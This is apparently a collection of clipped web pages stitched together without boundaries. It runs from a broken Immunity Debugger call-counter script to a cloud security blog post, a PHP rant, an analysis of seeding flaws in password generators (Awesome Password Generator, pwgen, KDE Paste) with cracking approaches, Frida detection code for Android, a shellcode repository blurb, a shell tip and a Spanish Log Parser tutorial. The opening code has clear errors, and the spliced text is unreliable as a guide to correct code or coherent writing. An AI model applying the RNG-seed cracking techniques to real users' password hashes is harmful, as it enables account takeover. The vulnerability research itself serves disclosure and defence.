  * Learn the methodologies, tools, and manual reversing techniques used real world situations in our reversing lab. 

VIEW RCE COURSE

Now let’s try to try to write a call counter in pycommands.

[code]

    import immlib
    from immlib import LogBpHook
    
    times  = "
    
    class instructionHook(LogBpHook):
    
        def __init__(self):
    
            LogBpHook.__init__(self)
            return
        def run(self, regs):
            global times
            imm = immlib.Debugger()
            imm.log("instruction Executed %d" % times)
            times = times  + 1
            return
    
    def main(args):
        memlocation = 0x401029
        dbg = immlib.Debugger()
    
        logbp = instructionHook()
        funcName = dbg.getFunction(imemlocation).getName()
        logbp.add(funcName,i)
    
        return "Hooks Placed"
    
[/code]

# Securosis Blog | New Paper: What CISOs Need to Know About Cloud Computing
**Created:**| _1/13/2014 8:41:16 PM_  
---|---  
**Updated:**| _1/13/2014 8:41:16 PM_  
**Author:**| __  
**Tags:**| _cloud computing_  
  

# **N** ew Paper: What CISOs Need to Know About Cloud Computing****

Over the past few years I have spent a lot of time traveling the world,
talking and teaching about cloud security**.** To back that up I have probably
spent more time researching the technologies than any other topic since I
moved from being a developer and consultant into the analyst role**.**
Something seemed different at such a fundamental level that I was driven to
put my hands on a keyboard and see what it looked and felt like**.** To be
honest, even after spending a couple years at this, I still feel I am barely
scratching the surface**.**

But along the way I have learned a heck of a lot**.** I realized that many of
my initial assumptions were wrong, and the cloud required a different lens to
tease out the security implications**.**

This paper is the culmination of that work**.** It attempts to break down the
security implications of cloud computing, both positive and negative, and
change how we approach the problem**.** In my travels I have found that
security professionals are incredibly receptive to the differences between
cloud and traditional infrastructure, but they simply don’t have the time to
spend 3-4 years researching and playing with cloud platforms and services**.**

I hope this work helps people think about cloud computing differently,
providing practical examples of how to leverage and secure it today**.**

I would like to thank CloudPassage for licensing the paper **.** This is
something I have wanted to write for a long time, but it was hard to find a
security company ready to take the plunge**.** Their financial support enables
us to release this work for free**.** As always, the content was developed
completely independently using our Totally Transparent Research process – this
time it was actually developed on GitHub to facilitate public response**.**

I would also like to thank the Cloud Security Alliance for reviewing and co-
branding and co-hosting the paper**.**

There are two versions**.** The _Executive Summary_ is 2 pages of highlights
from the main report**.** The _Full Version_ includes an executive summary
\(formatted differently\), as well as the full report**.**

As always, if you have any feedback please leave it here or on the report’s
permanent home page **.**

<img src='img/Temp2_7384.png' alt='CISO report' />

—Rich

No Related Posts  
---  
Posted at Friday 10th January 2014 9:09 am Filed under: cloud security

Previous entry: Summary: Enlightening Embarrassment  | | Next entry: Reducing Attack Surface with Application Control: The Double-Edged Sword \[New Series\] 
## Comments**** :

_If you like to leave comments, and aren't a spammer, register for the site
and email us atinfo@securosis.com  and we'll turn off moderation for your
account**.**_

By Yuval Sinay on 01/11 at 10:09 AM

Excellent work :\)

Name:

Email:

Remember my personal information

Notify me of follow-up comments**?**

****

# Computer Science, Math and Clever Dolphins: PHP sucks \(but, some frameworks
don't\)

**Created:**| _11/21/2011 9:17:36 AM_  
---|---  
**Updated:**| _11/21/2011 9:17:36 AM_  
**Author:**| __  
**Tags:**| _programming php_  
  

###  PHP sucks \(but, some frameworks don't\)

I started web development with PHP, and I've decided I've had enough. Why?
Keep reading.  
  
  
**PHP \(the language\) sucks. There, I said it.**  
  
  
  

  * 1029380128301928301823 Globals
  * Object system hacked on
  * C extension system sucks
  * Documentation sucks \(read more; no, I'm not drunk\)
  * Has a terrible community
  * All in all, designed by total idiots. 

  
You've probably heard this a ton of times before, but, here it is again. THERE
ARE JUST WAY TOO MANY GLOBALS. Why in the world does md5\(\) need to be
global? Do you seriously use md5\(\) in _every single file?_  
_  
_  
This is also a common occurrence, why on the planet are things like the order
of  _haystack_ and _needle_ the same everywhere? Is it really that hard to do?  
  
All in all, the language lacks _continuity;_ it lacks grace. It doesn't have
any precise definitions for anything, there are always exceptions \(a bit like
the English language\), unlike something like Python, which tries its best to
be properly defined and easy to relay to someone. In my eyes, if a language
has a simple grammar, but, it is still powerful enough for use, I consider it
excellent \(Lisp/Clojure comes to mind\).  
  
The Object System. Everyone's probably saying, "Hey\! Its just like Java,
what's wrong with it?\!". Firstly, Java isn't the all-glorious object system
everyone wants. Secondly, atleast most libraries and APIs in Java are based
around objects and classes, whereas for PHP, its just a few bajillion globals,
with classes if anyone wants to use them \(which new programmers conveniently
ignore because they can, and it leads to projects with a few hundred
functions, and no classes and everything held together with <?require's and
<?include's and global mutable state\).  
  
Another horrific massacre is the C extension system for PHP. If you haven't
tried \(I have\), don't do it, you'll regret it in your later years when
macros will show up as nightmares. It shows you that the interpreter is this
humongous blob of macros, held together by large if-else statements and
switch'es, and it also tells you that you have to deal with this if you want
to get any work done with the so-called "API". And, there's all this stuff
that's dependent on Zend, and if they change their mind about something in the
API, it all comes crashing down on you. Almost NOTHING is optimized. The
things that have been optimized turn out to be this convoluted mess of
unnecessary variables and unused heap space.  
  
Documentation. Everyone seems to be telling me that the documentation for PHP
is absolutely wonderful. When I type in "php mysql" into google, I get
http://php.net/manual/en/book.mysql.php. Which would be all fine and dandy if
I was a new web developer that just needed to get my darn code to connect to
mysql, but, dig deeper and you'll find out that this actually references the
dangerous "mysql\_" set of functions, which should have never been invented,
and everyone should have been using PDO instead. Of course, the documentation
doesn't tell me ANY of this, and just tells me how to install it, and how to
go about making dangerous commands to MySQL. And, the comments on the
documentation contain possibly the **worst code that has ever put foot on
planet earth** , and newbies \(especially on \#php on Freenode\) use them
quite freely and get very confused and disappointed when their website gets
hacked, or the code refuses to work when another user is running, etc.  
  
The community is also terrible. Every time I try to tell someone that they
should maybe put the cryptographic functions in their own class, they
\(basically\) accuse me of heresy and remind me what the Spanish Inquisition
did to heretics. The community loves newbies, definitely, but, the people who
aren't experts with PHP end up giving really bad advice \(like not using PDO
because its too complicated for small projects\), and the ignorance just keeps
spreading.  
  
If you look at the interpreter code, it'll be quite obvious why I say my last
bullet point. The lexing code has a ton of repeated rules, crap that's never
actually used in the parse tree and even more inconsistencies that are
defaulted, and, whenever an elegant solution is possible the code is instead
splattered with regular expressions. The parser gets even worse in this
regard, with part of the _lexing done in the parser._  
_  
_  
Now, here's another statement I'm making about PHP.  
  
**\(some of\) PHP's frameworks and their developers are excellent.**  
**  
**  
A good example is Kohana \(http://kohanaframework.org/\). This framework is
well thought out, expressive, and easy to use. Takes a couple of hours to
learn and gives you full MVC out of the box, with database connectivity and
everything. The developers really know what they're doing, and they try to
make sure that Kohana is top quality code and stays well maintained. These
developers have climbed the difficult hills of PHP with all its intricacies,
and have come out victorious and you can see that in their code.  
  
But, that still doesn't cut it for me.  
  
Its a bit like trying to build the Eiffel Tower on top of a wooden log house.
Yes, the eiffel tower is a great feat of engineering, but, its built on a log
house, you can't expect it to be too stable. That's the case here, Kohana is
AWESOME, but, its built on PHP, and I'd still be much more productive in
Python or Ruby or maybe even Perl\!  
  
What's the alternative?  
  
I highly suggest Python and Flask \(http://flask.pocoo.org/\) as an excellent
combination for beginners, and Django for more experienced Python developers.  
  
There are also many other options, such as Ruby on Rails \(I like this too,
but, the lack of documentation sort of makes it difficult for me\), Node.JS,
Web::Simple \(for Perl, not too popular, but excellent, IMO\), etc. etc.  
  
  
_Stay away from PHP if you're a freelancer if $10/hr seems bad_  
_  
_  
Because PHP has such a low barrier for entry, there are hordes of terrible
developers that are up for hire on websites such as freelancer.com, and
others. They sink to bottom prices, deliver terrible quality work, and there's
thousands of them.  
  
There's this funny story that I usually use to give an example. Before I
realized I wouldn't make any money, I used to be quite active on
freelancer.com, usually bidding on PHP projects. For one such project \(it
basically consisted of writing PHP for a AJAX app that needed to continuously
poll\), I bid $\$150$ \(which is quite low for all the code I had to write,
about $\$15$/hr\), and there was another man \(who had not-so-good ratings\),
who said he would do it for $\$40$. I warned the employer that he would not do
the job properly, and you'd have to hire someone for a rewrite of the code,
but, he \(obviously\) disregarded my arguments, and hired the $\$40$ guy. And,
what happened? The $\$40$ guy procrastinated and delayed, wrote a bunch of
crap code that basically checked the server every 10 seconds for this _static_
file, which he modified with this Perl script that he set up a cronjob for,
and it was overall a terrible hackjob. After 2 weeks, the employer had to hire
again \(he did hire me this time around\).  
  
Because of these types of scenarios, its very difficult to do well as a
freelancer in PHP, IMHO.  
  
So, I'm moving away from PHP to greener pastures, and I hopefully won't have
to come back.  
_  
_

# How Random Password Generators Can Fail

**Created:**| _10/29/2013 9:33:48 AM_  
---|---  
**Updated:**| _10/29/2013 9:33:48 AM_  
**Author:**| __  
**Tags:**| _crypto random_  
  

#

# Introduction

Passwords are an awkward security model. The idea was simple at first - you
remember something that nobody else can guess. Unfortunately our associative
memory makes this hard - either passwords are easy to guess, or they're
impossible to remember. We're not allowed to use the same or a similar
password for all the different systems we use \(possibly tens or hundreds of
websites\!\) - we have to remember another completely unrelated random string
for everything we do.

Now you could wait for something better to come along like smart card
authentication or OTP tokens, but webmasters are a slow-moving beast when it
comes to security technology. The best thing to do is simply to use a random
password generator and store them somewhere safe. I'm not going to recommend
any particular storage solution in this article - that's a whole different
essay.

******Why would you use random passwords?**

Random passwords have two desirable properties:

  *   * They are ___independent_. This means that if an account is compromised, you don't need to worry about changing the password for all of your other accounts \(so long as you didn't re-use that password\). 
  *   * They impose a ___known workload_. You can control the average amount of guesses an attacker requires to find your password. This is done by calculating ` ``n i` where ` ``n` is the number of possible symbols to choose from, and ` ``i` is the number of symbols that you're requesting. So a 16 character mix of uppercase, lowercase and numbers would be ` ``62 16` possible passwords and an attacker ___on average_ would take half that number of guesses to crack it. 
  * 

It is unfortunate that not all random password generators were written with a
clear understanding of how to generate unguessable passwords. Let's take a
look at a few examples.

#

# Awesome Password Generator

<img src='https://miknet.net/assets/awesome-password-generator-screenshot.png'
/>

The sysadmin team at work use random password generators constantly - it's
just part of the work flow for a lot of what we do. For production systems,
they go straight into the password management system, but for lab systems or
temporary accounts, we just generate one and send it across.

So when the new guy \(at the time\) sent me a password that looked hinky, I
asked him what program he used to generate it. It turns out he was using
Awesome Password Generator.

When looking at the output of anything that should have a random distribution,
the first thing to do is to look for bias - and the fastest way to do that is
to collect a lot of output and generate a histogram.

Here's a histogram of the Awesome Password Generator \(1.3.2\) output: <img
src='https://miknet.net/assets/awesome-password-generator-character-
frequencies.png' />

Let's take a look at the code that's causing this bias - I trimmed the code
and rewrote the comments below:

[code]

     
[/code]

[code]

      while  ( true )  {
         // Select password_length numbers in the range {0..numCharSets}
         // numCharSets = 3 for the histogram above
         for  ( i  =  0 ;  i  <  pgo . pswLength ;  i ++)  {
             pswLayout [ i ]  =  rnd . Next ( 0 ,  workCharsets . Length );
         }
    
         // Check that each charset was used (in a funny way), so long as
         // the password length allows.
         int  usedCharGroupsCnt  =  0 ;
         for  ( i  =  0 ;  i  <  pgo . pswLength ;  i ++)
             if  ( pswLayout . Contains ( i ))  usedCharGroupsCnt ++;
         if  ( usedCharGroupsCnt  ==  Math . Min ( workCharsets . Length ,  pgo . pswLength ))  break ;
     }
    
     string  psw  =  "" ;
     for  ( i  =  0 ;  i  <  pgo . pswLength ;  i ++)  {
         // Select a random character from the chosen character set
         psw  +=  workCharsets [ pswLayout [ i ]][ rnd . Next ( 0 ,  workCharsets [ pswLayout [ i ]]. Length )];
     }
    
[/code]

What it's doing is selecting which type of character belongs in each position
of the generated password, then selecting the character from that group. Since
the character sets are different lengths, that means that the number ******5**
is much more likely than the letter ******F**.

To understand why this causes bias let's work out the probability of each
character being selected. We start with a probability of 1.0 of any character
being selected. Now we divide by 3 - since there are 3 classes
\(uppercase/lowercase/number\) that are being selected from for each position.
Finally, we divide the numbers by 10 and the letters by 26. That means that
each of the numbers have a 3.3% chance of being selected, while letters have a
1.3% chance of being selected.

The bias is interesting, but while digging around I found an even worse
problem - one which would allow ___all_ passwords generated to be cracked in a
reasonable amount of time.

Have a look at this piece of code:

[code]

     
[/code]

[code]

      // initialize Random class
     byte []  dwSeed  =  new  byte [ 4 ];
     rng . GetBytes ( dwSeed );
     int  iSeed  =  BitConverter . ToInt32 ( dwSeed ,  0 );
     Random  rnd  =  new  Random ( iSeed );
    
[/code]

It turns out that the Cryptographic RNG class variable was only used to get 4
bytes \(32 bits\) of entropy, then it seeds the Windows System.Random\(\) RNG.
This is actually twice as bad as it seems because System.Random\(\) converts
negative seeds into positive seeds - resulting in only 2 31 possible seed
values.

This is easily exploited against hashed passwords - particularly for fast
hashes that are easily intercepted, such as Digest Authentication or NTLM.

I contributed an External Mode for  John the Ripper, which can be viewed
here. It simply goes through all 2 31 seed values and generates the password
that would result.

This has all been fixed in version 1.4.0, so if you have been using Awesome
Password Generator, I encourage you to download the lastest version then go
change all of your passwords. The lastest version is all good, but I don't
recommend ___easy to type_ mode. I get the feeling that the author \(Alex\)
has a pretty good understanding of password generation now - I'd be surprised
to find repeat problems in future versions.

#

# pwgen

<img src='https://miknet.net/assets/pwgen-screenshot.png' />

For a program that I have used so many times for so many years, it amazes me
how ambivelant I was to it's security. The command 'pwgen -s 16' comes out of
my fingers faster than I can think it.

####

#### CVE-2013-4442 pwgen Silent fallback to insecure entropy

After being chided by a co-worker \(who's favourite password generator I'd
just thoroughly ruined for him\) I thought I'd open the source of pwgen and
just check the basics.

The first thing I found was this:

[code]

     
[/code]

[code]

      static  int  get_random_fd ()
     {
             struct  timeval   tv ;
             static  int       fd  =  - 2 ;
             int              i ;
    
             if  ( fd  ==  - 2 )  {
                     gettimeofday ( & tv ,  0 );
                     fd  =  open ( "/dev/urandom" ,  O_RDONLY );
                     if  ( fd  ==  - 1 )
                             fd  =  open ( "/dev/random" ,  O_RDONLY  |  O_NONBLOCK );
     #ifdef HAVE_DRAND48
                     srand48 (( tv . tv_sec << 9 )  ^  ( getpgrp () << 15 )  ^
                             ( getpid ())  ^  ( tv . tv_usec >> 11 ));
     #else
                     srandom (( getpid ()  <<  16 )  ^  ( getpgrp ()  <<  8 )  ^  getuid () 
                           ^  tv . tv_sec  ^  tv . tv_usec );
     #endif
             }
             /* Crank the random number generator a few times */
             gettimeofday ( & tv ,  0 );
             for  ( i  =  ( tv . tv_sec  ^  tv . tv_usec )  &  0x1F ;  i  >  0 ;  i -- )
     #ifdef HAVE_DRAND48
                     drand48 ();
     #else
                     random ();
     #endif
             return  fd ;
     }
    
[/code]

Under normal circumstances it uses /dev/urandom - a Linux system without the
/dev/urandom device file is horribly broken. But in abnormal circumstances
\(such as AppArmor or SELinux mis-configurations\), it would fall-back to
srand48\(\) without printing an error.

We know by now that a 32-bit seed really doesn't cut it but what's interesting
is that the values passed to the seed aren't really all that secret.

For example, the most-significant 11 bits of tv.tv\_sec is a 48-day time
window - something that a password expiry field is sure to give away.

The pid and pgrp are the same for the general case of somebody calling it from
an interactive shell without any pipes, and the most chaotic 11 bits of
tv\_usec are being discarded.

Note that an 5 extra bits of entropy are \(sortof\) added by the "cranking"
based on a new timestamp/usec value.

####

#### CVE-2013-4441 pwgen Phonemes mode has heavy bias and is enabled by
default

While reporting this to the oss-security mailing list, I made an offhand
comment about ___phonemes_ mode \(without any data to back it up\). Solar
Designer replied to my message, asking if I'd seen a  previous thread on the
matter.

I hadn't seen it, but it piqued my interest.

Before I explain what further work I added to Solar Designer's \(read  that
thread if you haven't already\!\), I'll explain the basics of what a phoneme
is.

The idea is to produce pronouncible passwords. This is done by having a list
of letters, numbers and diphthongs \(with a missing 'h' in the code - search
for DIPTHONG\). A diphthong is a pair of letters that form a sound as if they
were a single letter, such as "ie".

The code is pretty complicated, but it basically has some rules to decide
whether it can be uppercase, a number, a vowel/consonant, and whether the
vowel/consonant can be a diphthong pair.

Here's the resulting bias: <img src='https://miknet.net/assets/pwgen-bias.png'
/>

At first I thought it would be a simple task - I would generate all possible
pwgen phonemes, by rewriting the core as a recursive python generator
expression. Furthermore, I'd add actual probabilities to the generated
phonemes, and spit them out in order.

This was a time consuming task, and hard to verify. You can see my results
here \- the probabilities are out \(according to my emperical tests\), but
tests on shorter password lengths show that it does seem to generate all of
them.

I also had to merge the paths of vowel-diphthong pairs such as "ie", which can
also be generated by producing "i" then "e". This is a double-whammy for bias
- not only is the "ie" pair consuming 2 character positions compared to
selecting a single character - resulting in less entropy per character, but
there are actually two separate code-paths that lead to identical phonemes.
Some passwords can in-fact have 3 of these double-paths in them, resulting in
8 different ways to generate the same word\!

If my code is correct, there are 1175,721,794,250 \(just over 2 40\)
8-character phonemes.

####

#### CVE-2013-4440 pwgen non-tty passwords are trivially weak by default

If you run pwgen on the command-line, you get a mix of upper-case, lower-case and numbers in your phonemes. While phonemes mode by default is bad, if you'd been piping the output of pwgen into another program \(eg. ` ``pwgen | less`\), it deselects numbers and upper-case by default, resulting in horribly weak passwords.
#

# KDE Paste Applet

<img src='https://miknet.net/assets/kdepaste-screenshot.png' />

Once every few months I try switching my desktop environment to KDE4, hoping
that it's finally as awesome as KDE3 was. This never lasts long, but I do take
the time to try out new widgets and apps - the KDE folks have brought some of
the best innovations to the Linux desktop.

One widget that caught my attention was the ___Paste_ applet - this simple
applet seemed mostly useless to me, except for the "Random Password" thing it
had. By this time I'd already picked apart countless random password
generators and really couldn't start using another one without checking the
code.

Here's what I found:

[code]

     
[/code]

[code]

      QString  PasteMacroExpander :: password ( const  QString &  args )
     {
        static  QStringList  characterSets  =  QStringList ()
                <<  "abcdefghijklmnopqrstuvwxyz"
                <<  "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                <<  "01234567890"
                <<  "! \" #$%&'()*+,-./:;<=>?@[ \\ ]^_`{|}~" ;
    
        // [ Code that parses args cut out ]
    
        QDateTime  now  =  QDateTime :: currentDateTime ();
        qsrand ( now . toTime_t ()  /  now . time (). msec ());
        for  ( int  i  =  0 ;  i  <  charCount ;  ++ i )  {
            result  +=  chars [ qrand ()  %  chars . count ()];
        }
        return  result ;
     }
    
[/code]

So the first thing you won't notice is that the number ___0_ appears twice in
the list of numbers. That's a minor source of bias, but it's easily fixed and
probably not going to give too much advantage to an attacker.

Another trivial source of bias is the modulo operator - if the remainder of
the maximum value of qrand\(\) isn't a multiple of chars.count\(\), there'll
be a really tiny bias towards the first characters in the set.

####

#### CVE-2013-2120

Finally we get to the exploitable vulnerability - qrand\(\) is just a wrapper
around rand\_r\(\), which has only 32-bits of ___state_. That means that if
you call qrand\(\) multiple times like  here, it still has at-most 2 32
possible strings it could generate.

But we can do better than 2 32 here - look at how it's seeding qsrand\(\).
It's using a timestamp with milliseconds. The seconds is easy \- there's only
24966000 seconds in a year, and if we found something like a password expiry
we could narrow it down to quite a small period of time.

The choice of ___division_ by the milliseconds value is an interesting one -
there are only 999 possible values of the milliseconds, because whenever 0 was
returned the program would crash - surely a Dr Konqui report must've come in
for that\!

While we do have to try all possible millisecond values, the division has
discarded some entropy from the timestamp. So what we can do is generate an
extra 1000 seconds worth of timestamps, but now only generate seeds for when
seconds ___mod_ milliseconds is 0. This effectively cuts the milliseconds out
of the complexity - we're back to just caring about the number of seconds.

You can find the JtR External Mode to exploit this  here.

####

#### CVE-2013-2213

So I guess this story should end with the KDE folks fixing this and it being
upstreamed into all of the Linux distributions. Well they did change the code,
and it did get upstreamed into Fedora and Ubuntu - but the fix was to use
KRandom::random\(\).

Here's the code for that function:

[code]

     
[/code]

[code]

      int  KRandom :: random ()
     {
        static  bool  init  =  false ;
        if  ( ! init )
        {
           unsigned  int  seed ;
           init  =  true ;
           int  fd  =  open ( "/dev/urandom" ,  O_RDONLY );
           if  ( fd  <  0  ||  :: read ( fd ,  & seed ,  sizeof ( seed ))  !=  sizeof ( seed ))
           {
                 // No /dev/urandom... try something else.
                 srand ( getpid ());
                 seed  =  rand () + time ( 0 );
           }
           if  ( fd  >=  0 )  close ( fd );
           srand ( seed );
        }
        return  rand ();
     }
    
[/code]

This was presented as part of my Ruxcon 2013 talk ******Under the hood of your
password generator**. I also presented on  TOTP and  S/Key

# Vantage Point Security

**Created:**| _5/12/2017 1:08:25 PM_  
---|---  
**Updated:**| _5/12/2017 1:08:25 PM_  
**Author:**| __  
**Tags:**| _mobile/embedded_  
  

  

Frida is hugely popular with Android reverse engineers, and for good reason:
It offers runtime access to pretty much everything one could dream of, from
raw memory and native functions to Java object instances. Frida is documented
comprehensively the reverse engineering chapter of the OWASP Mobile Testing
Guide. However, with every great tampering tool, there comes anti-tampering,
anti-anti-tampering and anti-anti-anti\(…\)ad-infinitum-tampering. In this
blog post, I'll discuss a few ways of detecting tampering with frida from
within an Android app.

**Detecting Frida Artefacts**

An obvious method for detecting frida and similar frameworks is to check the
environment for related artefacts, such as package files, binaries, libraries,
processes, temporary files, and others. As an example, I'll home in on
fridaserver, the daemon responsible for exposing frida over TCP. One could use
a Java method that iterates through the list of running processes to check
whether fridaserver is running:

[code]

    public boolean checkRunningProcesses() {
    
      boolean returnValue = false;
    
      // Get currently running application processes
      List<RunningServiceInfo> list = manager.getRunningServices(300);
    
      if(list != null){
        String tempName;
        for(int i=0;i<list.size();++i){
          tempName = list.get(i).process;
    
          if(tempName.contains("fridaserver")) {
            returnValue = true;
          }
        }
      }
      return returnValue;
    }
[/code]

This works if frida is run in its default configuration. Perhaps it's also
enough to stump some script kiddies doing their first little baby steps in
reverse engineering. It can however be easily bypassed by renaming the
fridaserver binary to "lol" or other names, so we should maybe find a better
method.

By default, fridaserver binds to TCP port 27047, so checking whether this port
is open is another idea. In native code, this could look as follows:

[code]

    boolean is_frida_server_listening() {
        struct sockaddr_in sa;
    
        memset(&sa, 0, sizeof(sa));
        sa.sin_family = AF_INET;
        sa.sin_port = htons(27047);
        inet_aton("127.0.0.1", &(sa.sin_addr));
    
        int sock = socket(AF_INET , SOCK_STREAM , 0);
    
        if (connect(sock , (struct sockaddr*)&sa , sizeof sa) != -1) {
          /* Frida server detected. Do something… */
        }
    
    }   
    
[/code]

Again, this detects fridaserver in its default mode, but the listening port
can be changed easily via command line argument, so bypassing this is a little
bit too trivial. The situation can be improved by pulling an `nmap -sV`.
fridaserver uses the D-Bus protocol to communicate, so we send a D-Bus AUTH
message to every open port and check for an answer, hoping for fridaserver to
reveal itself.

[code]

    /*
     * Mini-portscan to detect frida-server on any local port.
     */
    
    for(i = 0 ; i <= 65535 ; i++) {
    
        sock = socket(AF_INET , SOCK_STREAM , 0);
        sa.sin_port = htons(i);
    
        if (connect(sock , (struct sockaddr*)&sa , sizeof sa) != -1) {
    
            __android_log_print(ANDROID_LOG_VERBOSE, APPNAME,  "FRIDA DETECTION [1]: Open Port: %d", i);
    
            memset(res, 0 , 7);
    
            // send a D-Bus AUTH message. Expected answer is “REJECT"
    
            send(sock, "\x00", 1, NULL);
            send(sock, "AUTH\r\n", 6, NULL);
    
            usleep(100);
    
            if (ret = recv(sock, res, 6, MSG_DONTWAIT) != -1) {
    
                if (strcmp(res, "REJECT") == 0) {
                   /* Frida server detected. Do something… */
                }
            }
        }
        close(sock);
    } 
[/code]

We now have a pretty robust method of detecting fridaserver, but there's still
some glaring issues. Most importantly, frida offers alternative modes of
operations that don't require fridaserver\! How do we detect those?

The common theme in all of frida's modes is code injection, so we can expect
to have frida-related libraries mapped into memory whenever frida is used. The
straightforward way to detect those is walking through the list of loaded
libraries and checking for suspicious ones:

[code]

    char line[512];
    FILE* fp;
    
    fp = fopen("/proc/self/maps", "r");
    
    if (fp) {
        while (fgets(line, 512, fp)) {
            if (strstr(line, "frida")) {
                /* Evil library is loaded. Do something… */
            }
        }
    
        fclose(fp);
    
        } else {
           /* Error opening /proc/self/maps. If this happens, something is off. */
        }
    }
    
[/code]

This detects any libraries containing "frida" in the name. On its surface this
works, but there's some major issues:

  * Remember how it wasn't a good idea to rely on fridaserver being called fridaserver? The same applies here - with some small modifications to frida, the frida agent libraries could simply be renamed. 
  * Detection relies on standard library calls such as fopen\(\) and strstr\(\). Essentially, we're attempting to detect frida using functions that can be easily hooked with - you guessed it - frida. Obviously this isn't a very solid strategy.

Issue number one can be addressed by implementing a classic-virus-scanner-like
strategy, scanning memory for the presence of "gadgets" found in frida's
libraries. I chose the string "LIBFRIDA" which appears to be present in all
versions of frida-gadget and frida-agent. Using the following code, we iterate
through the memory mappings listed in /proc/self/maps, and search for the
string in every executable section. Note that I ommitted the more boring
functions for the sake of brevity, but you can find them on GitHub.

[code]

    static char keyword[] = "LIBFRIDA";
    num_found = 0;
    
    int scan_executable_segments(char * map) {
        char buf[512];
        unsigned long start, end;
    
        sscanf(map, "%lx-%lx %s", &start, &end, buf);
    
        if (buf[2] == 'x') {
            return (find_mem_string(start, end, (char*)keyword, 8) == 1);
        } else {
            return 0;
        }
    }
    
    void scan() {
    
        if ((fd = my_openat(AT_FDCWD, "/proc/self/maps", O_RDONLY, 0)) >= 0) {
    
        while ((read_one_line(fd, map, MAX_LINE)) > 0) {
            if (scan_executable_segments(map) == 1) {
                num_found++;
            }
        }
    
        if (num_found > 1) {
    
            /* Frida Detected */
        }
    
    }
[/code]

Note the use of my\_openat\(\) etc. instead of the normal libc library
functions. These are custom implementations that do the same as their Bionic
libc counterparts: They set up the arguments for the respective system call
and execute the swi instruction \(see below\). Doing this removes the reliance
on public APIs, thus making it less susceptible to the typical libc hooks. The
complete implementation is found in syscall.S. The following is an assembler
implementation of my\_openat\(\).

[code]

    #include "bionic_asm.h"
    
    .text
        .globl my_openat
        .type my_openat,function
    my_openat:
        .cfi_startproc
        mov ip, r7
        .cfi_register r7, ip
        ldr r7, =__NR_openat
        swi #0
        mov r7, ip
        .cfi_restore r7
        cmn r0, #(4095 + 1)
        bxls lr
        neg r0, r0
        b __set_errno_internal
        .cfi_endproc
    
        .size my_openat, .-my_openat;
    
[/code]

This is a bit more effective as overall, and is difficult to bypass with frida
only, especially with some obuscation added. Even so, there are of course many
ways of bypassing this as well. Patching and system call hooking come to mind.
Remember, **the reverse engineer always wins\!**

To experiment with the detection methods above, you can download and build the
Android Studio Project. The app should generate entries like the following
when frida is injected.

<img src='img/content_fridadetection.jpg' width='800' height='64' />

## About this Article

This article is part of the Mobile Reverse Engineering Unleashed series. Click
the blue label on the top of this page to list orther articles in this series.

## About the OWASP Mobile Security Testing Guide

I wrote this how-to for the OWASP Mobile Security Testing Guide \(MSTG\), a
manual for testing the security of mobile apps. The MSTG is an open source
effort and we welcome contributions and feedback. To discuss and contribute,
join the OWASP Mobile Security Project Slack Channel. You can sign up here:

http://owasp.herokuapp.com/

Also, check out the mobile crackmes we developed for the guide\!

## About the Author

Bernhard Mueller is a full-stack hacker, security researcher, and winner of
BlackHat's Pwnie Award.

  

# unmarshal/shellcode

**Created:**| _4/11/2015 10:55:02 AM_  
---|---  
**Updated:**| _4/11/2015 10:55:02 AM_  
**Author:**| __  
**Tags:**| _shellcode_  
  
  
A collection of shellcodes for writing exploits. Assembly code intel syntax.
Use nasm assemble them. This might be old, but I spent a long time optimizing
this code for size. BSD: \- execve: call execve system call to execute any
command \- setuid: call setuid system call to set the user id Linux: \- execve
\- setuid \- chroot: bust out of chroot jails. this only worked on older
kernels \- new\_chroot: this used a novel technique to break out of chroot
jails on 2.6.0 kernels \- Marshall Beddoe \(unmarshal@gmail.com\) Written
around 1999 to 2003..  

# Assembler Referenz \(Deutsch\)

**Created:**| _9/29/2009 8:21:24 PM_  
---|---  
**Updated:**| _9/29/2009 8:21:41 PM_  
**Author:**| __  
**Tags:**| _asm_  
  
<img src='img/Temp2_886' />

# \[shell-fu:view-820\]$

**Created:**| _5/27/2009 12:29:41 AM_  
---|---  
**Updated:**| _5/27/2009 12:29:48 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  
Here are a couple of ways to follow additions to a log file.  
  

[code]

    tail -f
    
[/code]

  
This tails the log file and the '-f' tells tail to follow the file, so
anything new added to the file will also be printed to the screen.  
  
Another option is:  
  

[code]

    less +F /var/log/messages
    
[/code]

  
The +F option turns on less 'follow mode'. It is similar to tail -f but you
will have the benefits of less, like scrolling up and down. To stop tailing,
use Ctrl-C and to resume it, press Shift-F.  

# Microsoft Log Parser, la gran desconocida – parte 2

**Created:**| _5/25/2018 10:40:31 AM_  
---|---  
**Updated:**| _5/25/2018 10:40:31 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

Publicado en 25 mayo, 2018 por fpalenzuela

# Microsoft Log Parser, la gran desconocida – parte 2

Hola a todos, hoy seguimos con la saga de log parser, continuaremos
aprendiendo un poco más sobre esta herramienta, antes de empezar me gustaría
volver a mencionar que en el directorio donde hemos instalado log parser hay
un fichero de ayuda en formato .chm que recomiendo encarecidamente que lo
leáis ya que os será de mucha ayuda para entender cómo funciona y las
posibilidades que tiene Log Parser.

<img src='img/Temp2_5346.png' width='524' height='470' />

Siguiendo la línea del anterior post, os recuerdo que la sintaxis sql nos
permite mucha flexibilidad, y como tenemos que aprender un poco de sql que
mejor manera que con algúnos ejemplos; queremos ver los TOP 10 eventos de
System \(ejemplo sencillo para que aprendamos un poco de sintaxis\).

<img src='img/Temp2_5350.png' width='524' height='18' />

> TIP: El **|clip** es PARA GUARDAR el resultado en el portapapeles y luego
> con control-v lo pegamos en cualquier editor de texto, ejemplo: notepad++
> \(lo sé, me repito mucho con este editor, pero la verdad es que me
> encanta\). Veamos el resultado en el editor.
<img src='img/Temp2_5356.png' width='524' height='74' />

<img src='img/Temp2_5351.png' width='524' height='76' />

La segunda imagen es la continuación de la primera. Con el Select podemos
elegir los campos que queremos obtener, si deseamos por ejemplo que nos
muestre los top 10, pero solo queremos ver los campos **EventLog, EventID y
TimeGenerated** y además queremos que nos los muestre de registro de eventos
**System** y que nos lo ordene por **TimeGenerated** , para ello utilizaremos
la cláusula _ORDER BY_ como podemos ver en el siguiente ejemplo:

<img src='img/Temp2_5353.png' width='524' height='99' />

El poder ordenar la información que obtenemos por el campo que deseemos, nos
permitirá obtener información precisa y correlativa, cosa que en muchos casos
será necesaria.

Pongamos otro ejemplo, pero esta vez algo más enrevesado, observemos la
siguiente imagen:

<img src='img/Temp2_5354.png' width='524' height='168' />

